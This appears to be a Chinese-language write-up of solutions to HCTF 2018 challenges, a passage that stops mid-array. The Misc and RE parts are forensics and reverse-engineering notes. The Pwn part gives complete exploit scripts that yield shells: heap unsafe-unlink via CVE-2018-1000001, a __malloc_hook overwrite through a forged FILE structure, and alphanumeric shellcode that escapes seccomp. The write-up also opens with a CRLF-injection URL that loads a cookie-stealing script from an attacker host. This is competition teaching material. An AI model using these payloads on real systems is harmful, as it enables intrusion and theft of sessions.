<http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/%0d%0aContent-Length:%2065%0d%0a%0d%0a%3Cscript%20src=http://yourvps/cookie.js%3E%3C/script%3E>
改cookie登陆
# Misc
## easy dump
用volatility看了一下，发现有mspaint进程，把内存dump下来
把mspaint.exe dump下来的内存改名为.data后缀，用gimp打开，调整位移 宽度 高度
> flag:hctf{big_brother_is_watching_you}
## freq game
FFT different frequency sin
MATLAB: y = importdata(""); 加载样本点
Y = fft(y);
plot(abs(Y));
根据图片查看频率值，对称的四个正弦函数的频率，最高点对应的横坐标减1就是频率
交互8次，即可得到flag
## difficult programming language
解压后发现一个pcap包，Wireshark打开发现是USB流量包，简单浏览后发现每帧都有8字节，且仅第一字节和第三字节有数据，猜测是键盘的流量，于是本地自己抓键盘的包试了下：
第一个字节
0x01 ctrl
0x02 shift
第三个字节是按键的键值就不列出了，后面找了下相关资料验证了这个猜想，于是tshark先把每帧的Leftover Capture
Data提取出来，然后写个脚本把键值转成字符串，得到一个混杂字母和符号的字符串，根据题目所给“difficult programming
language”猜测可能是malbolge语言，找个解释器把解出的字符串丢进去跑一下就得到flag。
代码：
usb_data = open('usbdata.txt')
str_decode = ''
for i in range(422):
buffer = usb_data.readline()
cmd = int(buffer[6] + buffer[7], 16)
if cmd != 0:
if buffer[1] == '0':
if 4 <= cmd <= 29:
str_decode += chr(ord('a') + cmd - 4)
elif 30 <= cmd <= 38:
str_decode += chr(ord('1') + cmd - 30)
elif cmd == 39:
str_decode += '0'
elif cmd == 45:
str_decode += '-'
elif cmd == 46:
str_decode += '='
elif cmd == 47:
str_decode += '['
elif cmd == 48:
str_decode += ']'
elif cmd == 49:
str_decode += '\\'
elif cmd == 51:
str_decode += ';'
elif cmd == 52:
str_decode += "'"
elif cmd == 53:
str_decode += '`'
elif cmd == 54:
str_decode += ','
elif cmd == 55:
str_decode += '.'
elif cmd == 56:
str_decode += '/'
else:
print('!!!')
elif buffer[1] == '2':
if 4 <= cmd <= 29:
str_decode += chr(ord('A') + cmd - 4)
# elif 30 <= cmd <= 38:
# str_decode += '!!!'
elif cmd == 30:
str_decode += '!'
elif cmd == 31:
str_decode += '@'
elif cmd == 32:
str_decode += '#'
elif cmd == 33:
str_decode += '$'
elif cmd == 34:
str_decode += '%'
elif cmd == 35:
str_decode += '^'
elif cmd == 36:
str_decode += '&'
elif cmd == 37:
str_decode += '*'
elif cmd == 38:
str_decode += '('
elif cmd == 39:
str_decode += ')'
elif cmd == 45:
str_decode += '_'
elif cmd == 46:
str_decode += '+'
elif cmd == 47:
str_decode += '{'
elif cmd == 48:
str_decode += '}'
elif cmd == 49:
str_decode += '|'
elif cmd == 51:
str_decode += ':'
elif cmd == 52:
str_decode += '"'
elif cmd == 53:
str_decode += '~'
elif cmd == 54:
str_decode += '<'
elif cmd == 55:
str_decode += '>'
elif cmd == 56:
str_decode += '?'
else:
print('!!!')
else:
print('!!!')
print(buffer)
print(str_decode)
> flag:hctf{m4lb0lGe}
# Pwn
## the_end
有点像0ctf2017-left:
exit会调用dl_fini，里面有一个call，可以去修改ld.so 附近的一个地方，直接填one_gadget get shell
from pwn import *
debug=0
context.log_level='debug'
e=ELF('./libc-2.23.so')
if debug:
p=process('./the_end')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
gdb.attach(p)
else:
p=remote('150.109.44.250', 20002)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
if not debug:
ru('Input your token:')
se('uvm73jg2AFMECo71DIZRZh39MRqFOI2w\n')
ru('here is a gift ')
base=int(ru(',')[:-1],16)-e.symbols['sleep']
call=base+0x5F0F48
one_gadget=p64(base+0xf02a4)
for i in range(5):
se(p64(call+i))
se(one_gadget[i])
print(hex(base))
p.sendline('cat flag>&0')
p.interactive()
> flag:hctf{706a09271a59b9e2db1a2d0cf1e40e2073c0a886197f6f3cf3b5d2114fc600d7}
## easyexp
clone 了一个子线程，mount 了tmpfs到/tmp那里，再chdir到mount的这个tmp那里，然后sleep 1000000秒之后 结束
设子线程pid=cpid
主线程chdir到 /proc/cpid/cwd/ ，然后在里面创建文件夹和假flag
ls没有限制 / 和 .. 所以可以看所有目录的情况
根据hint提示，要用libc-2.23_9 ，我虚拟机的是libc-2.23_10，然后去找了下change log
* * SECURITY UPDATE: Buffer underflow in realpath()
* * debian/patches/any/cvs-make-getcwd-fail-if-path-is-no-absolute.diff:
* Make getcwd(3) fail if it cannot obtain an absolute path
* * CVE-2018-1000001
发现realpath有一个overflow
所以大概关键就在canonicalize_file_name这个函数这里
<https://paper.seebug.org/528/>
就是CVE–2018-1000001
（之前就想拿这个CVE来出题........可惜怕被当成kernel题就没敢出
（没复现CVE，现在要去看一遍源码.......
一开始输入名字的时候输入(unreachable)，然后在里面创建一个tmp文件，这样就可以绕过realpath 里面的一个检查
利用的话是改chunk size，unsafe unlink，再拿到任意读写，get shell（话说好久没碰到要用unsafe
unlink的题，都生疏了..........
payload 如下
from pwn import *
debug=0
context.log_level='debug'
e=ELF('./libc-2.23_9.so')
if debug:
#p=process('./easyexp')
p=process('./easyexp',env={'LD_PRELOAD':'./libc-2.23_9.so'})
gdb.attach(p)
else:
p=remote('150.109.46.159', 20004)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def sl(x):
p.sendline(x)
def mkfile(name,content):
sl('mkfile '+name)
ru('write something:')
sl(content)
ru('$')
def cat(name):
sl('cat '+name)
return ru('$')
if not debug:
ru('Input your token:')
sl('uvm73jg2AFMECo71DIZRZh39MRqFOI2w')
ru("input your home's name: ")
se('(unreachable)\n')
ru('$')
mkfile('(unreachable)/tmp','a'*0x16+'/')
mkfile('2','a'*0x27)
mkfile('3','a'*0x37)
mkfile('3',p64(0x21)*4)
sl('mkdir ../../../../a\x41')
cat('(unreachable)/tmp')
mkfile('4','a'*0x37)
mkfile('4',p64(0)+p64(0x21)+p64(0x6031e0-0x18+1)+p64(0x6031e0-0x10)+p64(0x20)+p64(0x41))
mkfile('5','1'*0x27)
cat('4')
mkfile('6','a'*0x37)
mkfile('6',p64(0x21)*6)
mkfile('7','a'*0x37)
mkfile('7',p64(0x21)*6)
cat('6')
mkfile('77','a'*0x27)
mkfile('77',p64(0x21)*4)
mkfile('4',p64(0)+p64(0x21)+p64(0x6031e0-0x18)+p64(0x6031e0-0x10)+p64(0x20)+p64(0x90))
mkfile('8','/bin/sh')
mkfile('4','a'*0x18+p64(0x603180)+p32(0x200)[:2])
mkfile('4',p64(0x603018)+p32(0x200)[:2])
data=cat('77')
base=u64(data[1:7]+'\x00\x00')-e.symbols['free']
system = base+e.symbols['system']
mkfile('77',p64(system)[:6])
cat('4')
sl('mkfile 99')
print(hex(base))
p.interactive()
> flag:hctf{53e3b00dc29b152d1740f042ae4efce199785f7acaa062c21d600e67f811d276}
## baby printf ver2
首先利用任意读把libc地址泄漏出来，
然后任意写，写__malloc_hook
再输入%n，报错，报错的时候会调用malloc，get shell
from pwn import *
debug=0
context.log_level='debug'
e=ELF('./libc64.so')
if debug:
#p=process('./babyprintf_ver2')
p=process('./babyprintf_ver2',env={'LD_PRELOAD':'./libc64.so'})
gdb.attach(p)
else:
p=remote('150.109.44.250', 20005)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
if not debug:
ru('Input your token:')
se('uvm73jg2AFMECo71DIZRZh39MRqFOI2w\n')
ru('So I change the buffer location to ')
buffer=int(ru('\n'),16)
pbase=buffer-0x202010
ru('Have fun!')
file = p64(0xfbad2887) + p64(pbase+0x201FB0)
file+= p64(buffer+0xf0) +p64(buffer+0xf0)
file+= p64(buffer+0xf0) +p64(buffer+0xf8)
file+= p64(buffer+0xf0) +p64(pbase+0x201FB0)
file+= p64(pbase+0x201FB0+8) +p64(0)
file+= p64(0) +p64(0)
file+= p64(0) +p64(0)
file+= p64(1) +p64(0xffffffffffffffff)
file+= p64(0) +p64(buffer+0x200)
file+= p64(0xffffffffffffffff) +p64(0)
file+= p64(buffer+0x210) +p64(0)
file+= p64(0) +p64(0)
file+= p64(0x00000000ffffffff)+p64(0)
file+= p64(0) +p64(0)
se(p64(0xdeadbeef)*2+p64(buffer+0x18)+file+'\n')
ru('permitted!\n')
libc=u64(ru('\x00\x00'))
base=libc-0x3E82A0
malloc_hook=base+e.symbols['__malloc_hook']
sleep(0.2)
file = p64(0xfbad2887) + p64(malloc_hook)
file+= p64(malloc_hook) +p64(malloc_hook)
file+= p64(malloc_hook) +p64(malloc_hook)
file+= p64(malloc_hook+8) +p64(pbase+0x201FB0)
file+= p64(pbase+0x201FB0) +p64(0)
file+= p64(0) +p64(0)
file+= p64(0) +p64(0)
file+= p64(1) +p64(0xffffffffffffffff)
file+= p64(0) +p64(buffer+0x220)
file+= p64(0xffffffffffffffff) +p64(0)
file+= p64(buffer+0x230) +p64(0)
file+= p64(0) +p64(0)
file+= p64(0x00000000ffffffff)+p64(0)
file+= p64(0) +p64(0)
se(p64(base+0x4f322)*2+p64(buffer+0x18)+file+'\n')
sleep(0.5)
se('%n\n')
print(hex(pbase))
print(hex(libc))
p.interactive()
## christmas
写shellcode，有seccomp
seccomp 限制了只能执行exit和exit_group 这两个syscall
还限制了只能字母和数字，这个限制可以用alpha3突破（华师非灰也师傅帮忙修好了，能在linux下面跑
程序没开pie，因此能在程序那里拿到libc的地址，然后找libc base
base找到了之后，倒着去搜libflag.so里面bss段的_DYNAMIC
在里面可以找到DT_STRTAB和DT_SYMTAB，然后搜flag_yes_1337，根据偏移再找到
Elf64_Sym 结构体，最后找到flag_yes_1337函数的地址，call一下拿到flag，然后再盲注出来
from pwn import *
import os
import pwnlib.shellcraft.amd64 as sc
import time
context.arch='amd64'
payload=asm(sc.mov('rdi',0x602030))+\
asm("mov rdi,[rdi]") +\
asm(sc.mov('rdx',0x6f690)) +\
asm('sub rdi,rdx')+ \
asm(sc.mov('rbx','rdi')) +\
asm(sc.push(0x6FFFFEF5))+\
asm('''
search:
push 4
pop rcx
mov rdi,rbx
mov rsi,rsp
cld
repe cmpsb
jz done
sub rbx,1
jnz search
done:
''')+\
asm('add rdi,0x14')+\
asm('mov r10,[rdi]')+\
asm('add rdi,0x10')+\
asm('mov r11,[rdi]')+\
asm('sub rdi,0x40')+\
asm('mov rcx,[rdi]')+\
asm('sub rbx,rcx')+\
asm(sc.mov('rcx',0x80))+\
asm('sub rbx,rcx')+\
asm('mov r12,rbx')+\
asm(sc.pushstr('flag_yes_'))+\
asm('mov rbx,r10')+\
asm('''
search:
push 8
pop rcx
mov rdi,rbx
mov rsi,rsp
cld
repe cmpsb
jz done
add rbx,1
jnz search
done:
''')+\
asm('sub rdi,0x8')+\
asm('sub rdi,r10')+\
asm('push rdi')+\
asm('mov rbx,r11')+\
asm('''
search:
push 3
pop rcx
mov rdi,rbx
mov rsi,rsp
cld
repe cmpsb
jz done
add rbx,1
jnz search
done:
''')+\
asm('add rdi,5')+\
asm('mov rdi,[rdi]')+\
asm('add rdi,r12')+\
asm('call rdi')
def generate(idx,c):
tmp=payload+\
asm('''
add al,%d
xor rbx,rbx
xor rcx,rcx
mov bl,[rax]
add cl,%d
cmp rbx,rcx
jz done
xor rax,rax
add al,60
syscall
done:
'''%(idx,c))+asm(sc.infloop())
print(idx,c)
f=open('alapayload','wb')
f.write(tmp)
f.close()
def brute(idx,c):
debug=0
#context.log_level='debug'
context.arch='amd64'
if debug:
p=process('./christmas')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
#gdb.attach(p)
else:
p=remote('150.109.46.159', 20003)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
if not debug:
ru('Input your token:')
se('uvm73jg2AFMECo71DIZRZh39MRqFOI2w\n')
payload='42'
generate(idx,c)
a=os.popen('python ./alpha3/ALPHA3.py x64 ascii mixedcase RAX --input="alapayload"')
payload+=a.read()
a.close()
se(payload)
ru('can you tell me how to find it??')
start=time.time()
p.can_recv_raw(timeout=3)
p.close()
end=time.time()
if end-start>2:
return True
return False
str='{}_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+!@#$%^&*()'
#brute(4,ord('{'))
flag='{dyn_15_4w'
for q in range(14,100):
for i in range(len(str)):
if brute(q,ord(str[i])):
raw_input(str[i])
flag+=str[i]
print(flag)
break
> flag:HCTF{dyn_15_4w350m3}
# RE
## Lucky star
找main函数，发现是smc过的，找找其他地方
0040155D和004015CA 调用了了一个反调试函数，把参数0x11改成0
00403148有一段进程名的字符串，全改成0
0040251b调用了另一个反调试函数，把下方的00402521的jz改成jmp
全部改完打个补丁，程序就能正常运行了。
在调用main函数的地方00401C20设下断点，开始调试，断下的时候main函数就解析好了
先播放了一段音频，中间还有sleep，大概一分钟，不相等可以直接把那一段的cmp jz改成cmp jmp
004015E0是加密函数
加密算法如下：
先把输入进行base64加密 a2位base64加密完的
它的base64大小写是反的
v14=0
v19 = strlen(a2);
if ( v19 > 0 )
{
do
{
v16 = 6;
do
{
v17 = rand() % 4;
v18 = v16;
v16 -= 2;
result = (_BYTE)v17 << v18;
a2[v14] ^= result;
}
while ( v16 > -2 );
++v14;
}
while ( v14 < v19 );
}
可以看到，他对每一个字符异或了四个随机数（先对随机数进行了一些操作），在异或的地方设下条件记录断点，记录下异或的数据，然后反向解密就行了。
解密：
secret=[0x49,0xE6,0x57,0xBD,0x3A,0x47,0x11,0x4C,0x95,0xBC,0xEE,0x32,0x72,0xA0,0xF0,0xDE,0xAC,0xF2,0x83,0x56,0x83,0x49,0x6E,0xA9,0xA6,0xC5,0x67,0x3C,0xCA,0xC8,0xCC,0x05]
xor=[0,0,8,0,128,0,0,1,0,48,8,1,128,0,12,1,64,0,0,0,0,0,8,1,64,0,0,2,0,16,4,0,192,16,0,0,192,48,0,2,128,16,8,0,64,32,4,2,0,48,0,3,192,16,4,2,192,0,8,1,128,48,0,2,192,0,0,1,128,16,4,1,128,48,4,2,0,16,12,2,192,0,4,3,0,32,12,1,0,16,12,0,192,32,12,3,192,16,0,2,128,48,0,2,64,16,12,3,64,32,4,2,128,0,12,0,128,48,8,1,192,48,0,1,0,48,8,0,0,16,4,0,0,0,8,0,128,0,12,3,192,0,12,2,192,32,8,1,64,48,12,3,0,0,12,1,0,0,4,1]
a=''
for i in range(len(secret)):
a+=chr(secret[i]^xor[4*i]^xor[4*i+1]^xor[4*i+2]^xor[4*i+3])
print(a)
解密后：
Agn0zNSXENvTAv9lmg5HDdrFtw8ZFq==
它的base64加密大小写是反的，手动换一下= =
aGN0ZnsxenVtaV9LMG5hdDRfTW8zfQ==
> hctf{1zumi_K0nat4_Mo3
## seven
又是驱动逆向
sub_140001000中kbdclass应该跟键盘有关，但不知道怎么输入的
sub_1400012F0应该是解密函数了
中间有一段代码：
if ( *v6 == 0x11 ) // up
{
if ( v5 & 0xFFFFFFF0 )
{
v5 -= 0x10;
goto LABEL_13;
}
v5 += 0xD0;
dword_1400030E4 = v5;
}
if ( v8 != 0x1F ) // down
goto LABEL_14;
if ( (v5 & 0xFFFFFFF0) == 0xD0 )
v5 -= 0xD0;
else
v5 += 0x10;
LABEL_13:
dword_1400030E4 = v5;
LABEL_14:
if ( v8 == 0x1E ) // left
{
if ( v5 & 0xF )
--v5;
else
v5 += 0xF;
dword_1400030E4 = v5;
}
if ( v8 == 0x20 ) // right
{
if ( (v5 & 0xF) == 15 )
v5 -= 15;
else
++v5;
dword_1400030E4 = v5;
}
v9 = aO[v5];
if ( v9 == '*' )
{
v10 = "-1s\n";
}
else
{
if ( v9 != '7' )
{
LABEL_29:
aO[v5] = 'o';
goto LABEL_30;
}
v10 = "The input is the flag!\n";
}
aO为字符串
****************
o..............*
**************.*
************...*
***********..***
**********..****
*********..*****
********..******
*******..*******
******..********
*****..*********
****..**********
****7***********
* * *
要把这个o走到7的位置
0x11 0x1F 0x1E 0x20是硬件扫描码 wsad，对应写出移动的顺序就行了
<https://blog.csdn.net/wangyi_lin/article/details/9016125>
<https://bbs.pediy.com/thread-218363.htm>
> flag:hctf{ddddddddddddddssaasasasasasasasasas}
## PolishDuck
找到了字符串 Arduino leonardo，是单片机的型号.
该题是AVR汇编, 应该是一道算法题, 转成bin之后能看到:
44646 + ( 64094 + (71825 * ( ( 15873 + ( 21793 * ( 7234 + ( 17649 * ( ( 2155 + ( 74767 * ( 35392 + ( 88216 * ( 83920 + ( 16270 + ( 20151 * ( 5268 + ( 90693 * ( 82773 + ( 716 + 27377 * ( 44329 + ( 49366 * ( ( ( 38790 + ( 70247 * ( 97233 + ( 18347 + ( 22117 * ( ( ( 72576 + ( ( 47541 + ( 46975 + ( 53769 * ( 94005 + ( ( 72914 + ( 5137 + ( 87544 * 71583 + ( 20370 + ( 37968 * ( 17478 + ( ( 40532 + ( 10089 + ( 13332 * ( ( 24170 + ( 46845 * ( 16048 + 23142 * ( 31895 + ( 62386 * ( 12179 ( 94552 + ( ( ( 52918 + ( 91580 + ( ( ( 38412 + ( 91537 * ( 70 + ( 98594 * ( ( 35275 + ( 62912 * ( 4755 + ( 16737 * ( 27595 + ( ( 43551 + ( 64482 * 3550 ) ) - 21031 ) ) ) ) ) ) - 57553 ) ) - 89883 ) - 38900 ) ) ) - 19517 ) - 79082 ) ) ) ) ) ) ) ) - 70643 ) ) 55350 ) ) ) ) ) - 40301 ) ) ) ) - 83065 ) ) ) ) ) - 52460 ) ) - 49428 ) - 94686 ) ) ) ) ) ) - 1653 ) - 65217 ) ) ) - 43827 ) 66562 ) )
但好像不是一个完整的等式, 无法解出...emmmm
做法是瞎猜的，没想到能做出来= =
这是个hex文件，首先不知道它机器的芯片，先用ida直接打开，能看到解析后的内容，也可以用相关工具解析成bin再用ida打开。发现0180地址出有一串字符串Arduino
LLC Arduino Leonardo
这是它机器的型号，查找资料知道是avr架构的ATmega32u
ida打开的时候，processer type 选Atmel AVR，打开后选ATmega32_L，可以反汇编了。
在0D40地址看到
notepad.exe 44646 + ( 64094 + (71825 * ( ( 15873 + ( 21793 * ( 7234 + ( 17649 * ( ( 2155 + ( 74767 * ( 35392 + ( 88216 * ( 83920 + ( 16270 + ( 20151 * ( 5268 + ( 90693 * ( 82773 + ( 716 + 27377 * ( 44329 + ( 49366 * ( ( ( 38790 + ( 70247 * ( 97233 + ( 18347 + ( 22117 * ( ( ( 72576 + ( ( 47541 + ( 46975 + ( 53769 * ( 94005 + ( ( 72914 + ( 5137 + ( 87544 * 71583 + ( 20370 + ( 37968 * ( 17478 + ( ( 40532 + ( 10089 + ( 13332 * ( ( 24170 + ( 46845 * ( 16048 + 23142 * ( 31895 + ( 62386 * ( 12179 ( 94552 + ( ( ( 52918 + ( 91580 + ( ( ( 38412 + ( 91537 * ( 70 + ( 98594 * ( ( 35275 + ( 62912 * ( 4755 + ( 16737 * ( 27595 + ( ( 43551 + ( 64482 * 3550 ) ) - 21031 ) ) ) ) ) ) - 57553 ) ) - 89883 ) - 38900 ) ) ) - 19517 ) - 79082 ) ) ) ) ) ) ) ) - 70643 ) ) 55350 ) ) ) ) ) - 40301 ) ) ) ) - 83065 ) ) ) ) ) - 52460 ) ) - 49428 ) - 94686 ) ) ) ) ) ) - 1653 ) - 65217 ) ) ) - 43827 ) 66562 ) )
不是一个完整的式子，不能计算，想起他方向。
这不是一个 完整的字符串，而是很多个字符串（中间有\x00），大致猜一下可能是选取其中某些字符串拼接起来，就能计算了
从开头开始跟踪，跟踪到sub_9A8，应该是解析相关的函数了。
往下找，找到可疑的地方0A6C开始：
ROM:0A6C ldi r22, 0xF4
ROM:0A6D ldi r23, 1
ROM:0A6E ldi r24, 0
ROM:0A6F ldi r25, 0
ROM:0A70 call sub_8B6
ROM:0A72 ldi r24, 0x40 ; '@'
ROM:0A73 ldi r25, 1
ROM:0A74 call sub_88D
ROM:0A76 ldi r22, 0xF4
ROM:0A77 ldi r23, 1
ROM:0A78 ldi r24, 0
ROM:0A79 ldi r25, 0
ROM:0A7A call sub_8B6
ROM:0A7C ldi r24, 0x4C ; 'L'
ROM:0A7D ldi r25, 1
ROM:0A7E call sub_88D
ROM:0A80 ldi r22, 0xF4
ROM:0A81 ldi r23, 1
ROM:0A82 ldi r24, 0
ROM:0A83 ldi r25, 0
ROM:0A84 call sub_8B6
ROM:0A86 ldi r24, 0x53 ; 'S'
ROM:0A87 ldi r25, 1
ROM:0A88 call sub_88D
ROM:0A8A ldi r22, 0xF4
ROM:0A8B ldi r23, 1
ROM:0A8C ldi r24, 0
ROM:0A8D ldi r25, 0
ROM:0A8E call sub_8B6
ROM:0A90 ldi r24, 0x62 ; 'b'
ROM:0A91 ldi r25, 1
ROM:0A92 call sub_88D
有很多结构十分相似的部分，把不一样的地方都提取出来，是一堆地址
140 14C 153 162 177 18B 1A9 1C8 1D3 1EB 1FE 25E 207 21C 227 246 261 270 28B 298 2A3 2B1 25C 2BA 2C5 2D0 2D7 2F2 307 310 25E 327 346 3DC 34D 364 373 38F 3A6 3B3 3BF 3D0 3DF 3EF 400 44B 413 42C 43B 44F 452 490 45F 46C 47D 48E 497 49E 4B5 4CB 445 445 4D6 44D 44D 494 4E5 44F
这些地址并不指向任何东西，但如过把140对应之前字符串的开头notepad.exe，14C刚好能对应第二个字符串开头44646，以此类推，而某些地址可能指向的不是某一字符串的开头，这样猜测整合完应该能得到完整算术式
试着把他们一一对应过去
unsigned char secret[] = { 0x6E, 0x6F, 0x74, 0x65, 0x70, 0x61, 0x64, 0x2E, 0x65, 0x78,0x65, 0x00, 0x34, 0x34, 0x36, 0x34, 0x36, 0x20, 0x00, 0x2B,0x20, 0x28, 0x20, 0x36, 0x34, 0x30, 0x39, 0x34, 0x20, 0x2B,0x20, 0x28, 0x20, 0x00, 0x37, 0x31, 0x38, 0x32, 0x35, 0x20,0x2A, 0x20, 0x28, 0x20, 0x28, 0x20, 0x31, 0x35, 0x38, 0x37,0x33, 0x20, 0x2B, 0x20, 0x00, 0x28, 0x20, 0x32, 0x31, 0x37,0x39, 0x33, 0x20, 0x2A, 0x20, 0x28, 0x20, 0x37, 0x32, 0x33,0x34, 0x20, 0x2B, 0x20, 0x00, 0x28, 0x20, 0x31, 0x37, 0x36,0x34, 0x39, 0x20, 0x2A, 0x20, 0x28, 0x20, 0x28, 0x20, 0x32,0x31, 0x35, 0x35, 0x20, 0x2B, 0x20, 0x28, 0x20, 0x37, 0x34,0x37, 0x36, 0x37, 0x20, 0x00, 0x2A, 0x20, 0x28, 0x20, 0x33,0x35, 0x33, 0x39, 0x32, 0x20, 0x2B, 0x20, 0x28, 0x20, 0x38,0x38, 0x32, 0x31, 0x36, 0x20, 0x2A, 0x20, 0x28, 0x20, 0x38,0x33, 0x39, 0x32, 0x30, 0x20, 0x00, 0x2B, 0x20, 0x28, 0x20,0x31, 0x36, 0x32, 0x37, 0x30, 0x20, 0x00, 0x2B, 0x20, 0x28,0x20, 0x32, 0x30, 0x31, 0x35, 0x31, 0x20, 0x2A, 0x20, 0x28,0x20, 0x35, 0x32, 0x36, 0x38, 0x20, 0x2B, 0x20, 0x28, 0x20,0x00, 0x39, 0x30, 0x36, 0x39, 0x33, 0x20, 0x2A, 0x20, 0x28,0x20, 0x38, 0x32, 0x37, 0x37, 0x33, 0x20, 0x2B, 0x20, 0x00,0x28, 0x20, 0x37, 0x31, 0x36, 0x20, 0x2B, 0x20, 0x00, 0x32,0x37, 0x33, 0x37, 0x37, 0x20, 0x2A, 0x20, 0x28, 0x20, 0x34,0x34, 0x33, 0x32, 0x39, 0x20, 0x2B, 0x20, 0x28, 0x20, 0x00,0x34, 0x39, 0x33, 0x36, 0x36, 0x20, 0x2A, 0x20, 0x28, 0x20,0x00, 0x28, 0x20, 0x28, 0x20, 0x33, 0x38, 0x37, 0x39, 0x30,0x20, 0x2B, 0x20, 0x28, 0x20, 0x37, 0x30, 0x32, 0x34, 0x37,0x20, 0x2A, 0x20, 0x28, 0x20, 0x39, 0x37, 0x32, 0x33, 0x33,0x20, 0x00, 0x2B, 0x20, 0x28, 0x20, 0x31, 0x38, 0x33, 0x34,0x37, 0x20, 0x2B, 0x20, 0x28, 0x20, 0x32, 0x32, 0x31, 0x31,0x37, 0x20, 0x2A, 0x20, 0x28, 0x20, 0x28, 0x20, 0x00, 0x28,0x20, 0x37, 0x32, 0x35, 0x37, 0x36, 0x20, 0x2B, 0x20, 0x28,0x20, 0x28, 0x20, 0x00, 0x34, 0x37, 0x35, 0x34, 0x31, 0x20,0x2B, 0x20, 0x28, 0x20, 0x34, 0x36, 0x39, 0x37, 0x35, 0x20,0x2B, 0x20, 0x28, 0x20, 0x35, 0x33, 0x37, 0x36, 0x39, 0x20,0x00, 0x2A, 0x20, 0x28, 0x20, 0x39, 0x34, 0x30, 0x30, 0x35,0x20, 0x2B, 0x20, 0x00, 0x28, 0x20, 0x28, 0x20, 0x37, 0x32,0x39, 0x31, 0x34, 0x20, 0x00, 0x2B, 0x20, 0x28, 0x20, 0x35,0x31, 0x33, 0x37, 0x20, 0x2B, 0x20, 0x28, 0x20, 0x00, 0x38,0x37, 0x35, 0x34, 0x34, 0x20, 0x2A, 0x20, 0x00, 0x37, 0x31,0x35, 0x38, 0x33, 0x20, 0x2B, 0x20, 0x28, 0x20, 0x00, 0x32,0x30, 0x33, 0x37, 0x30, 0x20, 0x2B, 0x20, 0x28, 0x20, 0x00,0x33, 0x37, 0x39, 0x36, 0x38, 0x20, 0x00, 0x2A, 0x20, 0x28,0x20, 0x31, 0x37, 0x34, 0x37, 0x38, 0x20, 0x2B, 0x20, 0x28,0x20, 0x28, 0x20, 0x34, 0x30, 0x35, 0x33, 0x32, 0x20, 0x2B,0x20, 0x28, 0x20, 0x00, 0x31, 0x30, 0x30, 0x38, 0x39, 0x20,0x2B, 0x20, 0x28, 0x20, 0x31, 0x33, 0x33, 0x33, 0x32, 0x20,0x2A, 0x20, 0x28, 0x20, 0x00, 0x28, 0x20, 0x32, 0x34, 0x31,0x37, 0x30, 0x20, 0x00, 0x2B, 0x20, 0x28, 0x20, 0x34, 0x36,0x38, 0x34, 0x35, 0x20, 0x2A, 0x20, 0x28, 0x20, 0x31, 0x36,0x30, 0x34, 0x38, 0x20, 0x2B, 0x20, 0x00, 0x32, 0x33, 0x31,0x34, 0x32, 0x20, 0x2A, 0x20, 0x28, 0x20, 0x33, 0x31, 0x38,0x39, 0x35, 0x20, 0x2B, 0x20, 0x28, 0x20, 0x36, 0x32, 0x33,0x38, 0x36, 0x20, 0x2A, 0x20, 0x28, 0x20, 0x00, 0x31, 0x32,0x31, 0x37, 0x39, 0x20, 0x00, 0x28, 0x20, 0x39, 0x34, 0x35,0x35, 0x32, 0x20, 0x2B, 0x20, 0x28, 0x20, 0x28, 0x20, 0x28,0x20, 0x35, 0x32, 0x39, 0x31, 0x38, 0x20, 0x00, 0x2B, 0x20,0x28, 0x20, 0x39, 0x31, 0x35, 0x38, 0x30, 0x20, 0x2B, 0x20,0x28, 0x20, 0x00, 0x28, 0x20, 0x28, 0x20, 0x33, 0x38, 0x34,0x31, 0x32, 0x20, 0x2B, 0x20, 0x28, 0x20, 0x39, 0x31, 0x35,0x33, 0x37, 0x20, 0x2A, 0x20, 0x28, 0x20, 0x37, 0x30, 0x20,0x00, 0x2B, 0x20, 0x28, 0x20, 0x39, 0x38, 0x35, 0x39, 0x34,0x20, 0x2A, 0x20, 0x28, 0x20, 0x28, 0x20, 0x33, 0x35, 0x32,0x37, 0x35, 0x20, 0x00, 0x2B, 0x20, 0x28, 0x20, 0x36, 0x32,0x39, 0x31, 0x32, 0x20, 0x2A, 0x20, 0x00, 0x28, 0x20, 0x34,0x37, 0x35, 0x35, 0x20, 0x2B, 0x20, 0x28, 0x20, 0x00, 0x31,0x36, 0x37, 0x33, 0x37, 0x20, 0x2A, 0x20, 0x28, 0x20, 0x32,0x37, 0x35, 0x39, 0x35, 0x20, 0x00, 0x2B, 0x20, 0x28, 0x20,0x28, 0x20, 0x34, 0x33, 0x35, 0x35, 0x31, 0x20, 0x2B, 0x20,0x00, 0x28, 0x20, 0x36, 0x34, 0x34, 0x38, 0x32, 0x20, 0x2A,0x20, 0x33, 0x35, 0x35, 0x30, 0x20, 0x00, 0x29, 0x20, 0x29,0x20, 0x2D, 0x20, 0x32, 0x31, 0x30, 0x33, 0x31, 0x20, 0x29,0x20, 0x29, 0x20, 0x00, 0x29, 0x20, 0x29, 0x20, 0x29, 0x20,0x29, 0x20, 0x2D, 0x20, 0x35, 0x37, 0x35, 0x35, 0x33, 0x20,0x29, 0x20, 0x00, 0x29, 0x20, 0x2D, 0x20, 0x38, 0x39, 0x38,0x38, 0x33, 0x20, 0x29, 0x20, 0x2D, 0x20, 0x33, 0x38, 0x39,0x30, 0x30, 0x20, 0x29, 0x20, 0x29, 0x20, 0x00, 0x29, 0x20,0x2D, 0x20, 0x31, 0x39, 0x35, 0x31, 0x37, 0x20, 0x29, 0x20,0x2D, 0x20, 0x00, 0x37, 0x39, 0x30, 0x38, 0x32, 0x20, 0x29,0x20, 0x29, 0x20, 0x29, 0x20, 0x29, 0x20, 0x29, 0x20, 0x29,0x20, 0x29, 0x20, 0x29, 0x20, 0x00, 0x2D, 0x20, 0x37, 0x30,0x36, 0x34, 0x33, 0x20, 0x29, 0x20, 0x29, 0x20, 0x00, 0x35,0x35, 0x33, 0x35, 0x30, 0x20, 0x29, 0x20, 0x29, 0x20, 0x29,0x20, 0x00, 0x29, 0x20, 0x29, 0x20, 0x2D, 0x20, 0x34, 0x30,0x33, 0x30, 0x31, 0x20, 0x29, 0x20, 0x29, 0x20, 0x00, 0x29,0x20, 0x29, 0x20, 0x2D, 0x20, 0x38, 0x33, 0x30, 0x36, 0x35,0x20, 0x29, 0x20, 0x29, 0x20, 0x00, 0x29, 0x20, 0x29, 0x20,0x29, 0x20, 